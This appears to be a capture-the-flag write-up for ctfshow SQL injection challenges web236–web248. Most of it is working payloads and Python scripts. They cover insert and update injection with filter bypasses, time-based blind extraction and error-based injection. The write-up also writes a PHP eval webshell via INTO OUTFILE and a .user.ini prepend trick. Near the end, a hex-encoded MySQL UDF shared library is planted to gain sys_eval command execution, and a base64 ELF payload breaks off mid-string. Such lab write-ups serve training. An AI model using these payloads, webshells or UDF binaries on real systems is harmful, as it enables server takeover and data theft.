password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1)a)#

web236

update

Query statement

  //Paging query
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
      

Return logic

  //Filter or 'flag

Originally wanted to use hexadecimal bypass, but I don't know why I didn't bypass. As a result, I got through with the payload above

web237

insert injection

 //insert data
  $sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

Insert is insert. But in fact, there is no difference between the injection method and the general one. It is just that the query statement is constructed and the query result is returned in that table

Then there is no filtering here. Just close the username and write it casually

If you notice that there is an add button, you can add it directly. I won't go

username=helloworld',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1

username=helloworld',(select group_concat(column_name) from information_schema.columns where table_name='flag'));#&password=1

username=helloworld',(select group_concat(flagass23s3) from flag))#&password=1

web238

insert injection, filter spaces

username=helloworld',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#&password=1

username=helloworld',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')));#&password=1

username=helloworld',(select(group_concat(flag))from(flagb)));#&password=1

web239

Spaces and or are filtered. Because or is filtered, information_schema doesn't work, nor does my favorite helloworld. Woo woo, damn infor

So use the previous mysql innodb_ table_ Stats instead

username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1
1',(select(flag)from(flagbb)));#&password=1

web240

Hint: the table name has 9 digits in total, starting with flag, and the last five digits are composed of a/b, such as flagabaab, all lowercase. Filter spaces or sys mysql

What the hell? Blow it up yourself.

Then, according to the fact that they are all in the flag, so the flag is determined first. Then write the script directly

import requests
import itertools
url = "http://a31fe426-9043-4aaf-b986-6270c466a4da.challenge.ctf.show/api/insert.php"
for i in itertools.product('ab', repeat = 5):
    tables = "flag" + ''.join(i)
    payload = {
        'username': f"hellow0rld',(select(group_concat(flag))from({tables})))#",
        'password': '1'
    }
    r = requests.post(url=url, data=payload)

web241

delete

sql statement

  //Delete record
  $sql = "delete from  ctfshow_user where id = {$id}";

api/delete. In PHP, the post id parameter of the injection point

Then I found that there is no echo position here. Now it is blind injection. Time blind injection or bool blind injection. There are ready-made scripts before time blind injection, so it takes time. Then the query statements are searched one by one by id, so pay attention to the time

import requests
import time
url='http://7fba0e79-73e1-452c-a783-9636744de3e1.challenge.ctf.show/api/delete.php'

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
        #payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))<{j},sleep(0.02),1)"
        payload=f"if(ascii(substr((select group_concat(flag) from flag),{i},1))<{j},sleep(0.02),1)"

        data={
            'id':payload
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.38)
            min=j
        except:
            max=j

        time.sleep(0.2)

web242

File, file read / write

sql statement

  //Backup table
  $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
      

I haven't touched it. I just read wp it.

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//Separator
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

----------------------------------------------------
"OPTION"The parameter is optional, and its possible values are:

FIELDS TERMINATED BY 'character string': Set the string as the separator between fields, which can be single or multiple characters. The default value is“\t". 

FIELDS ENCLOSED BY 'character': Set a character to enclose the value of the field. It can only be a single character. No symbols are used by default.

FIELDS OPTIONALLY ENCLOSED BY 'character': Set characters to enclose CHAR,VARCHAR and TEXT Equal character field. No symbols are used by default.

FIELDS ESCAPED BY 'character': Set escape character, which can only be a single character. The default value is“\". 

LINES STARTING BY 'character string': Set the character at the beginning of each line of data, which can be single or multiple characters. By default, no characters are used.

LINES TERMINATED BY 'character string': Set the character at the end of each line of data, which can be single or multiple characters. The default value is“\n". 

FIELDS TERMINATED BY, LINES STARTING BY, LINES TERMINATED BY

stay api/dump.php pass POST
filename=ma.php' LINES STARTING BY '<?php eval($_GET[1]);?>'#

Then visit url/dump/ma.php

url/dump/ma.php?1=system('cat /flag.here');

web243

Filtered php.

I also thought about short tags around the back, but I found that I didn't want to pass php too. Then I want to try to write phtml. The result is not parsed. I directly download the phtml passed down

After reading wp, it turns out that it uses user ini

Then the / dump / page reports no index PHP I think he wants to understand. He uses nginx to tell me. But who knows? I didn't think so

filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#
To guarantee auto_prepend_file=1.jpg On a separate line, so add 0 at the beginning and end x0a To wrap

Then pass 1 Just jpg

filename=1.jpg' LINES STARTING BY '<?=eval($_GET[1]);?>'#

Then visit

/dump/index.php?1=system('cat /flag.here');

web244,245

error injection

sql statement

  //Backup table
  $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
      

I guess both updatexml() and extractvalue() are OK

245 filters the updatexml, so extract value is placed here

web244
/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),1,30),0x7e))+--+
/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),20,30),0x7e))+--+

web245 Similarly

web246

error

filter updatexml extractvalue

So what else is there?

1.floor(),round(),ceil()

2.exp() //It can be used after version 5.5.5

3.name_const 

4.geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() Geometric function error

floor error reporting is realized by repeating the primary key. Obviously, it has been mentioned in web222. See web222 for yourself

/api/?id=1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))b from information_schema.tables group by b--+

/api/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1), 0x7e,floor(rand(0)*2))b from information_schema.tables group by b --+

/api/?id=1' union select 1,count(*),concat(0x7e,(select flag2 from ctfshow_flags),0x7e,floor(rand(0)*2))b from information_schema.tables group by b--+

web247

filter updatexml extractvalue floor

Look at the above and use other methods, such as changing to round. It should be noted that the field name flag becomes flag?, Table names and field names can be enclosed in back quotation marks, which is used to distinguish MYSQL reserved words from ordinary characters. So the final payload is

/api/?id=' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa ), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+

web248

eval

UDF injection. Well, it seems to have been used in the final assessment?

  $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
      

But I won't. just look at the master's practices and scripts here

Write the dll file to the plugin directory of the target machine

First, 1 '; select @@plugin_dir; --+ The search path is / usr/lib/mariadb/plugin/

Then CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.so’; // Import UDF function

Write in with Stack Injection

import requests

base_url="http://994eba84-9ea5-4701-b204-01320382100c.challenge.ctf.show/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400"
for i in range(0,21510, 5000):
    end = i + 5000
    payload.append(udf[i:end])

p = dict(zip(text, payload))

for t in text:
    url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
    r = requests.get(url)
    print(r.status_code)

next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)

uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#Import udf function
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)

By the way, let's mention the right of the first platform in the final assessment

echo 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA0AwAAAAAAABAAAAAAAAAAOgYAAAAAAAAAAAAAEAAOAAFAEAAGgAZAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBUAAAAAAAAUFQAAAAAAAAAAIAAAAAAAAQAAAAYAAAAYFQAAAAAAABgVIAAAAAAAGBUgAAAAAABwAgAAAAAAAIACAAAAAAAAAAAgAAAAAAACAAAABgAAAEAVAAAAAAAAQBUgAAAAAABAFSAAAAAAAJABAAAAAAAAkAEAAAAAAAAIAAAAAAAAAFDldGQEAAAAZBIAAAAAAABkEgAAAAAAAGQSAAAAAAAAnAAAAAAAAACcAAAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAlAAAAKwAAABUAAAAFAAAAKAAAAB4AAAAAAAAAAAAAAAYAAAAAAAAADAAAAAAAAAAHAAAAKgAAAAkAAAAhAAAAAAAAAAAAAAAnAAAACwAAACIAAAAYAAAAJAAAAA4AAAAAAAAABAAAAB0AAAAWAAAAAAAAABMAAAAAAAAAAAAAABIAAAAjAAAAEAAAACUAAAAaAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApAAAAFAAAAAAAAAAZAAAAIAAAAAAAAAAKAAAAEQAAAAAAAAAAAAAAAAAAAAAAAAANAAAAJgAAABcAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHwAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAEQAAABQAAAACAAAABwAAAIAIA0mRGcTJPaRAA5gEaIMUAAAAFgAAABcAAAAZAAAAGwAAAB0AAAAgAAAAIgAAAAAAAAAjAAAAAAAAACQAAAAlAAAAJwAAACkAAAAqAAAAAAAAAM4swLpnPHaQ69PvDnhyJ4i5jfEO2HFYHMHi996oaL4Su+OSfH6Lks0ecGapw/m/unRbsHM3GXTsQ0XV7MWmLBzDE4r/Nqxorjuf1KCsc9HFJWgbMgtZEf6rX74SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMACQCgCwAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAJQAAACAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAA